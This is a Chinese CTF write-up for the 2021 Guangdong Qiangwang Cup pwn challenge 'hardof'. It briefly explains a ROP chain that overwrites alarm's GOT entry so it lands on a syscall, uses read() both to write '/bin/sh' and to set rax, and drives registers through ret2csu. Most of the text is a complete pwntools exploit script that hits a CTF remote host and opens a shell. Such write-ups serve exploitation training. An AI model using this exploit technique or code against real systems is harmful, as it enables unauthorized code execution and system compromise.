[广东强网杯 2021 个人决赛]hardof
这题发现就只是溢出,并且溢出很多字节,没有puts/write,所以应该是构造rop
/bin/sh可以通过 ropdadget 的 pop_rsi_r15 配合给的read函数地址任意写,写在data段上,这里bss太小不考虑,虽然应该也可以 bss + 0x200,让他开辟,但我们只写入几个字节
rsi,rdi,rdx这三个寄存器可以用 csu解决,并且写入空间足够,
但rax是题目中没有的,我们可以使用 read函数结束后会返回写入字节数给rax的特性( ,进行对rax的控制
但还缺少syscall,我们可以使用 微偏移量:在接近系统调用的函数中,在函数附近总会出现一个syscall。alarm函数便是其中的代表。
例如下图:(从libc文件里查看

这个知识点可参考:宸极实验室——『CTF』alarm 函数的妙用 - 知乎 (zhihu.com)
如果我们将某函数改成如图syscall的地址,那么就可以执行syscall
这里把alarm函数(0xe4610改为0xe4615)即可
至此,执行syscall的全部条件集齐
from pwn import * from struct import pack from LibcSearcher import * # from sympy import * # context(os='linux', arch='i386', log_level='debug') context(os='linux', arch='amd64', log_level='debug') # p = process('./pwn') p = remote('node4.anna.nssctf.cn',28309) elf = ELF('./pwn') # libc = ELF('/home/pw/Desktop/2021/libc-2.27.so') # libc = ELF('/home/pw/pwn_tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6') # libc=LibcSearcher('puts'.puts_addr) def dbg(): # gdb.attach(p,'b *0x80485F6') # gdb.attach(p,'b *$ rebase(0x12f4)') gdb.attach(p) pause() def get_canary(): canary = int(p.recv(18),16) print(hex(canary)) return canary def get_64(): puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(hex(puts_addr)) return puts_addr def get_32(): write_addr=u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) print(hex(write_addr)) return write_addr # def to_get(): #libc_base=puts_addr-libc.symbols["puts"] #system= libc_base+libc.symbols["system"] #binsh = libc_base + next(libc.search(b'/bin/sh\x00')) def add(idx,size,content): p.sendlineafter('>>',str(1)) p.sendlineafter('idx?',str(idx)) p.sendlineafter('size?',str(size)) p.sendafter('content?',content) def edit(idx,size,content): p.sendlineafter('>>',str(3)) p.sendlineafter('idx?',str(idx)) p.sendlineafter('size?',str(size)) p.sendafter('content?',content) def show(idx): p.sendlineafter('>',str(4)) p.sendlineafter('idx?',str(idx)) def free(idx): p.sendlineafter('>',str(2)) p.sendlineafter('idx?',str(idx)) ret=0x0000000000400416 #: ret rbp=0x0000000000400519 #: pop rbp ; ret rdi=0x00000000004005e3 #: pop rdi ; ret rsi_r15=0x00000000004005e1 #: pop rsi ; pop r15 ; ret binsh_addr=0x601028 #data_addr payload = b'a'*0x48 + p64(rsi_r15) + p64(binsh_addr) + p64(0) + p64(elf.sym['read']) + p64(rsi_r15) + p64(elf.got['alarm']) + p64(0) + p64(elf.sym['read']) + p64(0x400532) # dbg() p.sendline(payload) # dbg() sleep(1) p.sendline(b'/bin/sh\x00') sleep(1) p.send(b'\x15') def csu(rdi=0, rsi=0, rdx=0, r12=0, rbx=0, rbp=1): # csu模板 #fill为填充rsp指针偏移造成8字节空缺 例如:add rsp+8 这个偏移不同版本的libc会有偏差,有些版本甚至没有偏移,我这里gadget2直接选用pop rbx为起始即可 #r12内容填要被call命令调用的地址,rbx为固定的0,rbp为固定的1这是为了使 gadget1跳转到gadget2 # 原本为 def csu(fill, rbx, rbp, r12, r13, r14, r15) # 原本为 payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) # 这是为了方便记忆做出的修改 gadget_1 = 0x000004005C0 gadget_2 = 0x0004005DA payload = p64(gadget_2) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(rdi) + p64(rsi) + p64(rdx) payload += p64(gadget_1) payload += b'b'*0x38 #0x38个字节填充平衡堆栈造成的空缺 # payload += ret #这里可以填完成gadget2 后 ret 返回的地址 return payload rop_csu=csu(rdi=binsh_addr,rsi=0,rdx=0,r12=elf.got['alarm']) payload=b'a'*0x48+p64(elf.sym['read'])+rop_csu p.sendline(payload) sleep(1) p.send(b'a'*0x3b) p.interactive()
